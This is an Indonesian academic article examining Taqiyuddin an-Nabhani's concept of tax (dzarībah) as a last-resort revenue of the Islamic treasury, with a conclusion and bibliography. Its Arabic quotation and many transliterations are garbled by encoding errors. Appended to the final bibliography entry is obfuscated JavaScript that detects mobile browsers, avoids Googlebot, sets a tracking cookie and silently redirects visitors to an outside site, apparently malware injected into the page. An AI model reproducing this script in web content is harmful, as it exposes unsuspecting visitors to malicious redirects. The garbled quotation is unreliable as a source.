Bayt al-mA?l adalah pos yang dikhususkan untuk semua pemasukan atau pengeluaran harta yang menjadi hak kaum Muslimin.Tiap harta yang menjadi hak kaum Muslimin, sementara pemilikmya tidak jelas, maka harta tersebut merupakan hak bagi bayt al-mA?l, bahkan kadang pemiliknya jelas sekalipun. Apabila harta telah diambil, maka dengan pengambilan tersebut, harta tadi telah menjadi hak bayt al-mA?l, baik harta tersebut dimasukkan ke dalam kasnya ataupun tidak. Karena bayt al-mA?l ini mencerminkan sebuah pos bukan tempat (An-Nabhani, terj. Moh. Maghfur Wachid: 2000; 253).
Sumber pemasukan bayt al-mA?l yang tetap adalah faia��, ghanA�mah, anfA?l, kharA?j dan jizyah, dan pemasukan dari hak milik umum dengan berbagai macam bentuknya, pemasukan dari hak milik negara, a�?ushr, khums, rikA?z, barang tambang serta harta zakA?t. Hanya saja zakA?t ditempatkan pada kas khusus bayt al-mA?l, dan hanya diberikan kepada delapan golongan (ashnA?f). ZakA?t juga tidak boleh digunakan untuk kepentingan negara maupun keperluan ummat. Meskipun demikian, seorang imam (khalA�fah ) juga berhak memberikan harta zakA?t tersebut berdasarkan pendapat (ijtihA?d)-nya. Begitu pula dengan pemasukan harta dari hak milik umum, juga diletakkan pada kas khusus bayt al-mA?ldan tidak boleh dicampuradukkan dengan yang lain, sebab harta tersebut menjadi milik seluruh kaum Muslimin, yang diberikan oleh khalA�fah sesuai dengan kemashlahatan kaum Muslimin yang mengikuti kebijakan dan ijtihA?d-nya berdasarkan hukum-hukum sharaa�� (An-Nabhani, terj. Moh. Maghfur Wachid: 2000; 254). Taqiyuddin an-Nabhani memasukkan istilah pajak dengan namadzarA�bah sebagai salah satu instrument pendapatan negara setelah zakA?t, jizyah, dan kharA?j.al-Qura��an pun tidak menyebut bahkan menyinggung pajak (dzarA�bah), bisa dikatakan ini merupakan bentuk ijthA?d yang dilakukan oleh Taqiyuddin an-Nabhani. Pengertian pajak (dzarA�bah) menurut Taqiyuddin an-Nabhani sebagai berikut :
O�U�O�O�O�O�O? U�US U�U�O� U?O�O�U� O�U�U�U� O?U�U� O�U�U�O?U�U�USU� U�U�O�O�O? U�O�O�U�O�U�U�, U?O�O?U� O�U�O?U�O�U� U?O�U�USO�U� O?U�USU�U� USO�O�U� U�O�U� O�U�U�O�U� U?USU�U?U�U� U�U? O?U�U� O�U�U?O�U� O�U�O�US USO�O�U�. U? USO�O� O?U� USO?U�U� U�O�O� O�U�O�US USO�U�O? O�O�USO?O� U?U�O� USO�O� O?USO?U�U� U�O�U�O�U� U�U?O�U?O�O�U� U?O?USO� O�U�U?.
Artinya :
Pajak atau dzarA�bah itu sebenarnya merupakan harta yang difardlukan Allah SWT kepada kaum muslimin dalam rangka memenuhi kebutuhan mereka, di mana Allah telah menjadikan seorang imam sebagai pemimpin bagi mereka, yang bisa mengambil harta dan menafkahkannya sesuai dengan objek-objek tertentu dengan mengikuti kebijakannya. Harta yang dikumpulkan ini disebut, dengan pajak atau dzarA�bah.Begitu pula diperbolehkan menyebutnya dengan sebutan harta yang diwajibkan, maupun sebutan-sebutan yang lain. (An-Nabhani: 1990; 124)
Sementara tidak ada satu pun dalil yang menjelaskan kebolehan mengambil pajak (dzarA�bah) dari seorang muslim, selain dengan mekanisme yang telah dikemukakan sebelumnya, sebagaimana firman Allah SWT:
Artinya :
Hai orang-orang yang beriman, janganlah kamu saling memakan harta sesamamu dengan jalan yang batil, kecuali dengan jalan perniagaan yang berlaku dengan suka sama-suka di antara kamu.Dan janganlah kamu membunuh dirimu; sesungguhnya Allah adalah Maha Penyayang kepadamu (QS. an-Nisaa: 4; 29).
Walaupun demikian orang non-muslim tidak boleh dipungut pajak (dzarA�bah). Sebab untuk memenuhi kebutuhan-kebutuhan yang telah difardlukan oleh sharaa�� adalah semata difardlukan kepada kaum muslimin, sehingga pajak (dzarA�bah) tersebut tidak boleh diambil selain dari kaum muslimin. Sedangkan kharA?j bisa dipungut atas tanah kharA?jiyah dari orang muslim dan orang non-muslim. Pemungutan pajak dari kaum muslimin berasal dari sisa nafkah atau kebutuhan hidup mereka serta dari harta orang kaya, menurut ketentuan sharaa��. Pengambilan pajak (dzarA�bah) hanya dibebankan kepada kaum muslim, itu pun bila bayt al-mA?l benar-benar kekurangan kas, atau mengalami defisit yang tidak bisa dicukupi dengan faia��, ghanA�mah, anfA?l, kharA?j dan jizyah, dan pemasukan dari hak milik umum dengan berbagai macam bentuknya, pemasukan dari hak milik negara, usyA�r, khums, rikA?z, barang tambang serta harta zakA?t, dengan kata lain, pajak (dzarA�bah) adalah pilihan yang terakhir (An Nabhani: 2000; 262), Meskipun demikian pajak (dzarA�bah) hanya dikenakan kepada orang-orang yang kaya, orang-orang yang kaya pun masih dikhususkan lagi, bila harta kekayaanwajib pajak tidak lebih dari kebutuhan hidupnya maka walaupun sudah mencapai satu periode maka tidak diambil pajak (dzarA�bah), dan baru ditarik apabila jika dihitung harta kekayaan wajib pajak lebih dari kebutuhannya, baik berupa modal, keuntungan atau pendapatan. Bagi petani yang memiliki alat-alat pertanian untuk produksi maka itu tidak digolongkan sebagai modal. Pajak (dzarA�bah) tidak boleh diwajibkan kepada umat selama di dalam bayt al-mA?l dijumpai uang atau harta untuk pembiayaannya.
Penutup
Dari uraian tersebut dapat disimpulkan sebagai berikut :
- Pajak (dzarA�bah) adalah harta yang diwajibkan Allah SWT kepada kaum Muslim untuk membiayai berbagai kebutuhan dan pos-pos pengeluaran yang diwajibkan atas mereka, pada kondisi bayt al-mA?l tidak ada uang atau harta. Konsep pemikiran Taqiyuddin an-Nabhani menempatkan pajak (dzarA�bah) sebagai pilihan yang terakhir, setelah sumber-sumber pendapatan non pajak seperti zakA?t, faya��, ghanA�mah, anfA?l, kharA?j dan jizyah. Pengambilan pajak (dzarA�bah) hanya dibebankan kepada kaum muslim, itu pun bila bayt al-mA?l benar-benar kekurangan kas, atau mengalami defisit yang tidak bisa dicukupi dengan faya��, ghanA�mah, anfA?l, kharA?j dan jizyah, dan pemasukan dari hak milik umum dengan berbagai macam bentuknya, pemasukan dari hak milik negara, a�?ushr, khums, rikA?z, barang tambang serta harta zakA?t, dengan kata lain, pajak (dzarA�bah) bukan sebagai ujung tombak perekonomian, sebagaimana yang terjadi di negara-negara yang menjalankan sistem ekonomi kapitalis. Dengan demikian, negara yang menerapkan sistem ekonomi Islam tidak akan memberlakukan pungutan seperti pajak yang selama ini dikenal, apalagi jika bayt al-mA?l penuh dengan harta, hasil dari dijalankannya hukum-hukum Islam tentang jihad, pengelolan harta milik umum (kaum Muslim) maupun zakA?t. Sebab, pungutan yang tidak shara��i adalah kecurangan (ghulA�l), dan pajak adalah tindakan zhalim.
- Posisi pemikiran Taqiyuddin an-Nabhani dalam hazanah pemikiran Islam tentang pendapatan negara non-pajak Taqiyuddin an-Nabhani tidak jauh berbeda dengan penjelasan tokoh-tokoh Muslim terdahulu semisal, al-Ghozali, Abu Yusuf, Abu Ubayd, karena dalam ilmu tafsir al-Qura��an, perbedaan pendapat antara mufassir satu dengan yang lainnya dianggap sah-sah saja selama mufassir memang telah diakui penguasaan dan kedalaman ilmunya, akhirnya muncul bermacam-macam cabang dari pendapat-pendapat tersebut, seperti halnya Taqiyuddin an-Nabhani yang menambahkan istilah pajak dengan kata (dzarA�bah) sebagai salah satu pendapatan negara setelah zakA?t, kharA?j, dan jizyah. a??arA�bah belum disinggung sama sekali oleh a�?ulamA?a��-a�?ulamA?a�� Walaupun Taqiyuddin an-Nabhani tidak memakai madhhab manapun, pemahamannya tentang zakA?t tidak jauh berbeda dengan a�?ulamA?a��-a�?ulamA?a�� fiqh, namun dalam kitab NizhA?m al-IqtishA?d fi al-IslA?m, Taqiyuddin an-Nabhani mengakui bahwa untuk lebih jelasnya tentang masalah zakA?t bisa mempelajari kitab-kitab ulamA?a�� fiqh. Dalam kitab ini pula Taqiyuddin an-Nabhani menukil beberapa a??adith yang diambil dari kitab al-AmwA?l-nya Abu Ubayd, akan tetapi Taqiyuddin an-Nabhani tidak menjelaskan pembagian harta rampasan perang yang menurut Abu Ubayd ada 4 macam, tidak hanya ghanA�mah dan anfA?l saja, namun ada nafA?l salab, nafA?l sarA?ya, nafA?l khums dan nafA?l sebelum dikeluarkan khums. Di bidang pajak tanah (kharA?j),
- Relevansi pemikiran pajak (dzarA�bah)Taqiyuddin an-Nabhani di era kontemporer. Pajak (dzarA�bah) sebagai sumber pendapatan terakhir negara tidak akan pernah terjadi bila khilA?fah IslamA�yah tidak berdiri terlebih dahulu, sedangkan untuk mendirikan sebuah khilA?fah IslamA�yah harus memenuhi delapan syarat yang utamanya dengan adanya khalA�fah. Disisi lain kewajiban mendirikan negara khilA?fah dinilai lebih sebagai intrepretasi yang gegabah, ahistoris dan tak lebih dari proyek Islamisasi yang dibungkus oleh dalil-dalil agama untuk kepentingan politis dan ekonomi, suatu orientasi yang tidak jauh berbeda dengan proyek Islamisasi negara dan masyarakat oleh gerakan radikalisme-fundamentalisme Islam lainnya di belahan dunia Islam.
DAFTAR PUSTAKA
Abdurrahman, Yahya. a�?a??arA�bah (Pajak)a�?, http://hayatulislam.net, diakses 8 April 2012
Abdul Halim, M. Nipan. Mengapa Zakat Disyariatkan. Bandung: M2S, 2001.
A.F., Munawwir dan Adib Bisri, Kamus Al-Bisri. Surabaya: Pustaka Progressif, 1999.
Ahmad. Sunan Ahmad, terj. Achmad Sunarto. Semarang: CV. Asy Syifaa��, 1993.
Ainur Rofiq al-Amin.Membongkar Proyek Khilafah ala Hizbut Tahrir Indonesia. Yogyakarta: Lkis Printing Cemerlang, 2012.
Al-Jawi, Muhammad Shiddiq. Definisi ZakA?t Infaq Shadaqah, http//www.e-syariah.net, diakses tanggal 8 April 2012.
Al-Kaaf, Abdullah Zakky Ekonomi dalam Perspektif Islam. Bandung: Pustaka Setia, 2002.
Al-Mawardi, Prinsip-prinsip Penyelenggaraan Negara Islam, terj. Fadhli Bahri. Jakarta: Darul Falah, 2000.
Al-Muttaqin, a�?Meneropong Sistem Pajak di Negeri Lumbung Minyaka�?, Berita Pajak Referensi Terpercaya Perpajakan di Indonesia, 4 (Mei-Juni 2011), 44.
Al-Qura��an dan Terjemahannya.Madinah: Mujammaa�� al-Malik Fahd Li Thibaa��at al-Mushhaf al-Syarif, 2009.
Al-Zuhaili, Wahbah. al-Fiqh al-Islami Adillatuh, terj. Agus Efendi dan Bahruddin Fanany. Bandung: Remaja Rosdakarya, 1997.
Ana, Siti. Analisis Terhadap Pemikiran Taqiyuddin Al-Nabhani tentang Metode Pemerataan Ekonomi dalam Islam dan Relevansinya dengan Pemberdayaan Ekonomi Umat. http://library.walisongo.ac.id/digilib/gdl. php?mod=browse&op=read&id=jtptiain-gdl-s1-2005-sitianama2556& newtheme=gray, diakses tanggal 8 april 2012.
An-Nabhani, Taqiyuddin. Daulah Islamiyah. Terj.Umar Faruq dkk.Jakarta : HTI Press, 2009.
———. Membangun Sistem Ekonomi Alternatif Perspekti Islam.Terj.Moch. Maghfur Wachid. Surabaya: Risalah Gusti, 2000.
———. Nia?�A?m al-IqtishA?d fi al-IslA?m.Beirut: Darul Ummah, 1990.
———. Nia?�omul IslA?m. Terj. Abu Amin dkk. Jakarta: HTI Press, 2007.
———. ad-Daulah al-Islamiyah. Terj. Umar Faruq dkk. Jakarta: HTI Press, 2009.
At-Tirmidzi, Muhammad Isa bin Surah. Tarjamah Sunan At Tirmidzi. Terj. Moh. Zuhri. Semarang: asy-Syifaa��, 1992.
a�?Biografi Syaikh Taqiyuddin an-Nabhani Pendiri Hizbut Tahrira�?.http://harmoko 1924.blogspot.com/2011/11/biografi-syaikh-taqiyuddin-nabhani.html, 11 april 2012
Bukhari, Imam. a??ahih Bukhari: Juz II. Terj. Achmad Sunarto. Semarang: CV. Asy Syifaa��, 1993.
Chamid, Nur. Jejak Langkah Sejarah Pemikiran Ekonomi Islam. Yogyakarta: Pustaka Pelajar, 2010.
a�?Ditjen Pajak Masukan PZU dalam Daftar 20 Lembaga Penerima Zakata�?, http://pzu.or.id/?mod=content&cmd=news&berita_id=1371, di akses tanggal 15 Juni 2012.
Fahmi, Chairul. Pajak dalam Syariat Islam: a�?Kajian Normatif terhadap Kedudukan Wajib Pajak bagi Muslima�?. Aceh Institute, http://www.acehinstitute.org/, 20 Juni 2010, diakses tanggal 8 April 2012.
Fakhruddin. Fiqh dan Manajemen Zakat di Indonesia. Malang: UIN Malang Press, 2008.
Fawaz, Muhammad Wasitho Abu. Hukum Pajak Dalam Fiqih Islam, http://abufawaz.wordpress.com/2011/09/17/hukumpajakdalamislam, diakses tanggal 8 April 2012.
Gusfahmi.Pajak Menurut Syaria��ah. Jakarta: Raja Grafindo Persada, 2007.
Hadits Mausyua��ah al-Syarif, Global Islamic Software Company, 1991 a�� 1997.
Hafidhuddin, Didin. Zakat dalam Perekonomian Modern. Jakarta: Gema Insani Press, 2004.
Haneef, Mohammad Aslam. Pemikiran Ekonomi Islam Kontemporer Analisis Komparatif Terpilih, terj. Suherman Rosyidi. Jakarta: Rajagrafindo Persada, 2006.
Jusmaliani, dkk, Kebijakan Ekonomi dalam Islam. Yogyakarta: Kreasi Wacana, 2005.
Muhammad. Kebijakan Moneter dan Fiskal dalam Ekonomi Islam. Jakarta: Penerbit Salemba Empat, 2002.
Pendapat Said Agil Siradj dalam menanggapi buku Membongkar Proyek KhilA?fah ala Hizbut Tahrir Indonesia.
Rohman, Abdur. Ekonomi al-Ghazali.Surabaya : Bina Ilmu, 2010.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}